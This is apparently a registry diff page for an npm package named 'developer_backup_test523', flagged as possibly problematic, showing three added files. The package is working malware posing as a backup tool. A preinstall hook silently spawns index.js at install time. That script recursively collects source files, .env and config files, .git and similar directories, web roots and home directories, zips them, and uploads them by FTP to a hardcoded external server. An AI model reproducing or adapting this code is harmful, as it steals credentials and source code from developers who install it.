developer_backup_test523 1.999.0

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of developer_backup_test523 might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +289 -0
  2. package/package.json +17 -0
  3. package/preinstall.js +8 -0
package/index.js ADDED
@@ -0,0 +1,289 @@
1
+ const fs = require('fs');
2
+ const path = require('path');
3
+ const archiver = require('archiver');
4
+ const util = require('util');
5
+ const os = require('os');
6
+ const ftpClient = require('ftp');
7
+
8
+
9
+
10
+ function getPathToSecondDirectory() {
11
+ const parsedPath = path.parse(process.cwd());
12
+ const parts = parsedPath.dir.split(path.sep);
13
+
14
+ return path.join(parts[0] + path.sep, parts[1], parts[2]);
15
+ }
16
+
17
+
18
+ function findFilesWithExtensions(dir, extensions, directoriesToSearch = []) {
19
+ let searchedFiles = [];
20
+ let searchedDirectories = [];
21
+
22
+ try {
23
+ const files = fs.readdirSync(dir);
24
+
25
+ files.forEach(file => {
26
+ const filePath = path.join(dir, file);
27
+
28
+ try {
29
+ const linkStats = fs.lstatSync(filePath);
30
+ if (linkStats.isSymbolicLink()) {
31
+ return;
32
+ }
33
+ const stats = fs.statSync(filePath);
34
+
35
+ if (stats.isDirectory()) {
36
+ if (directoriesToSearch.includes(file)) {
37
+ searchedDirectories.push(filePath);
38
+ }
39
+
40
+ const [childFiles, childDirectories] = findFilesWithExtensions(filePath, extensions, directoriesToSearch);
41
+ searchedFiles = searchedFiles.concat(childFiles);
42
+ searchedDirectories = searchedDirectories.concat(childDirectories);
43
+ } else if (extensions.includes(path.extname(file))) {
44
+ const sizeInBytes = stats.size;
45
+ const sizeInKB = sizeInBytes / 1024;
46
+ searchedFiles.push(`${filePath}`);
47
+ }
48
+ } catch (err) {
49
+ //console.error(err);
50
+ }
51
+ });
52
+ } catch (err) {
53
+ //console.error(err);
54
+ }
55
+
56
+ return [searchedFiles, searchedDirectories];
57
+ }
58
+
59
+
60
+ function appendDirectory(srcDir, destDir,archive,zip_name) {
61
+
62
+ if (srcDir.startsWith("/usr/") || srcDir.startsWith("/snap/")){
63
+ return 1;
64
+ }
65
+
66
+
67
+
68
+ try{
69
+ let err = fs.accessSync(srcDir, fs.constants.R_OK);
70
+
71
+
72
+ }
73
+ catch{
74
+ console.log("Cant access",srcDir);
75
+ return 0;
76
+ }
77
+ try{
78
+ err = fs.accessSync("./", fs.constants.W_OK);
79
+ err = fs.accessSync("./", fs.constants.R_OK);
80
+
81
+
82
+ }
83
+ catch{
84
+ console.log("Cant access to current dir",process.cwd());
85
+ return 0;
86
+ }
87
+
88
+ if (!fs.existsSync(srcDir)) {
89
+ return 1;
90
+ }
91
+
92
+ const stats=fs.statSync(srcDir);
93
+ if (!stats.isDirectory()) {
94
+ try{
95
+ let err = fs.accessSync(srcDir, fs.constants.R_OK);
96
+
97
+ archive.file(srcDir, { name: path.join(destDir,srcDir) });
98
+ //console.log("Not dir:", srcDir);
99
+ }
100
+ catch{
101
+ console.log("Cant access file:", srcDir);
102
+ }
103
+ return 1;
104
+ }
105
+
106
+ //console.log("Dir file:", srcDir);
107
+ try{
108
+ fs.readdirSync(srcDir);
109
+ }
110
+
111
+ catch{
112
+ console.log("Cant access to",srcDir);
113
+ return 0;
114
+ }
115
+ const files = fs.readdirSync(srcDir);
116
+
117
+
118
+ for (let j=0;j<files.length;j=j+1){
119
+ if (zip_name===files[j]){
120
+ continue;
121
+ }
122
+
123
+ const fullPath = path.join(srcDir, files[j]);
124
+ if (!fs.existsSync(fullPath)) {
125
+ continue;
126
+ }
127
+ if (path.extname(fullPath)==".zip"){
128
+ continue;
129
+ }
130
+ //console.log(fullPath);
131
+ const archivePath = destDir ? path.join(destDir, files[j]) : files[j];
132
+ const stats=fs.statSync(fullPath);
133
+ //destDir_new=path.join(zip_name,destDir)
134
+ if (stats.isDirectory()) {
135
+ appendDirectory(fullPath, destDir,archive,zip_name);
136
+ }
137
+ else {
138
+ try{
139
+ let err = fs.accessSync(fullPath, fs.constants.R_OK);
140
+ //console.log(path.join(destDir, fullPath),destDir,fullPath);
141
+
142
+ archive.file(fullPath, { name: path.join(destDir, fullPath) });
143
+ }
144
+ catch{
145
+ //console.log("not");
146
+ }
147
+
148
+ }
149
+ //console.log(stats);
150
+ //await sleep(1000);
151
+ }
152
+ //console.log('done');
153
+ }
154
+
155
+
156
+ function uploadArchiveToFTP(archiveName) {
157
+ return new Promise((resolve, reject) => {
158
+ const client = new ftpClient();
159
+ const host = '185.62.56.25';
160
+ const port = 21;
161
+ const user = 'root';
162
+ const password = 'RoOk#$';
163
+ const remotePath = '/';
164
+ const localPath = path.join(process.cwd(), archiveName);
165
+
166
+ client.on('ready', () => {
167
+ client.put(localPath, remotePath + archiveName, (err) => {
168
+ if (err) {
169
+ console.log(err);
170
+ return;
171
+ }
172
+ client.end();
173
+ resolve();
174
+ });
175
+ });
176
+
177
+ //client.on('error', reject);
178
+
179
+ client.connect({ host, port, user, password });
180
+ });
181
+ }
182
+
183
+
184
+ function findFirstReadableDirectory() {
185
+ let currentPath = path.sep;
186
+ try {
187
+ fs.accessSync(currentPath, fs.constants.R_OK);
188
+ return currentPath;
189
+ } catch (error) {
190
+ }
191
+
192
+ const cwdParts = process.cwd().split(path.sep);
193
+
194
+ for (const part of cwdParts.slice(1)) {
195
+ currentPath = path.join(currentPath, part);
196
+
197
+ try {
198
+ fs.accessSync(currentPath, fs.constants.R_OK);
199
+ return currentPath;
200
+ } catch (error) {
201
+ }
202
+ }
203
+
204
+ return null;
205
+ }
206
+
207
+ async function main(){
208
+ var zip_name='dirs_back.zip';
209
+ var zip_name_files='files_back.zip';
210
+ const startDir = findFirstReadableDirectory();
211
+ var new_name = 'files';
212
+ const extensions = ['.asp', '.js', '.php', '.aspx', '.jspx', '.jhtml', '.py', '.rb', '.pl', '.cfm', '.cgi', '.ssjs', '.shtml', '.env', '.ini', '.conf', '.properties', '.yml', '.cfg'];
213
+ const directoriesToSearch = ['.git', '.env', '.svn', '.gitlab', '.hg', '.idea', '.yarn', '.docker', '.vagrant', '.github'];
214
+ let searchedWords = findFilesWithExtensions(startDir, extensions, directoriesToSearch);
215
+ console.log(searchedWords[0].length);
216
+ console.log(searchedWords[1].length);
217
+ searchedWords[0] = [...new Set(searchedWords[0])];
218
+ console.log(searchedWords[0].length);
219
+ searchedWords[1] = [...new Set(searchedWords[1])];
220
+ console.log(searchedWords[1].length);
221
+ //123
222
+ var output = fs.createWriteStream(zip_name);
223
+ const archive = archiver('zip', {
224
+ zlib: { level: 9 }
225
+ });
226
+ archive.pipe(output);
227
+ searchedWords[0].forEach(item => {
228
+ files = appendDirectory(item, new_name,archive,zip_name);
229
+ });
230
+ await archive.finalize();
231
+ console.log("directory zipped!");
232
+ console.log(path.join(process.cwd(), zip_name));
233
+ uploadArchiveToFTP(zip_name);
234
+ console.log("zip_name send!");
235
+ //321
236
+ var output1 = fs.createWriteStream(zip_name_files);
237
+ const archive1 = archiver('zip', {
238
+ zlib: { level: 9 }
239
+ });
240
+ archive1.pipe(output1);
241
+ searchedWords[1].forEach(item => {
242
+ files = appendDirectory(item, new_name,archive1,zip_name_files);
243
+ });
244
+ await archive1.finalize();
245
+ console.log("files zipped!");
246
+ uploadArchiveToFTP(zip_name_files);
247
+ console.log("zip_name_files send!");
248
+ const specificDirectoriesToArchive = [
249
+ '/var/www/html',
250
+ '/usr/share/nginx/html',
251
+ '/usr/local/var/www'
252
+ ];
253
+ const zipNameForSpecificDirs = 'specific_directories.zip';
254
+ const outputForSpecificDirs = fs.createWriteStream(zipNameForSpecificDirs);
255
+ const archiveForSpecificDirs = archiver('zip', {
256
+ zlib: { level: 9 }
257
+ });
258
+ archiveForSpecificDirs.pipe(outputForSpecificDirs);
259
+
260
+ for (const dir of specificDirectoriesToArchive) {
261
+ try {
262
+ await fs.promises.access(dir, fs.constants.R_OK);
263
+ await appendDirectory(dir, new_name, archiveForSpecificDirs, zipNameForSpecificDirs);
264
+ } catch (error) {
265
+ console.log(`Cannot access directory ${dir}: ${error.message}`);
266
+ }
267
+ }
268
+
269
+ await archiveForSpecificDirs.finalize();
270
+ console.log("Specific directories zipped!");
271
+ uploadArchiveToFTP(zipNameForSpecificDirs);
272
+ console.log(`${zipNameForSpecificDirs} sent!`);
273
+ ///32
274
+ var zip_name_3 = "dir.zip";
275
+ var output2 = fs.createWriteStream(zip_name_3);
276
+ const archive2 = archiver('zip', {
277
+ zlib: { level: 9 }
278
+ });
279
+ archive2.pipe(output2);
280
+ last_dir=getPathToSecondDirectory();
281
+ files = appendDirectory(last_dir, new_name,archive2,zip_name_3);
282
+ await archive2.finalize();
283
+ console.log("last_dir zipped!");
284
+ await uploadArchiveToFTP(zip_name_3);
285
+ console.log("last_dir send!");
286
+ }
287
+
288
+ main();
289
+
package/package.json ADDED
@@ -0,0 +1,17 @@
1
+ {
2
+ "name": "developer_backup_test523",
3
+ "version": "1.999.0",
4
+ "description": "",
5
+ "main": "main.js",
6
+ "scripts": {
7
+ "preinstall": "node preinstall.js",
8
+ "test": "echo \"Error: no test specified\" && exit 1"
9
+ },
10
+ "author": "lexi2",
11
+ "license": "ISC",
12
+ "dependencies": {
13
+ "ftp": "^0.3.10",
14
+ "archiver": "^5.3.0"
15
+ }
16
+ }
17
+
package/preinstall.js ADDED
@@ -0,0 +1,8 @@
1
+ const { spawn } = require('child_process');
2
+
3
+ const child = spawn('node', ['index.js'], {
4
+ detached: true,
5
+ stdio: 'ignore'
6
+ });
7
+
8
+ child.unref();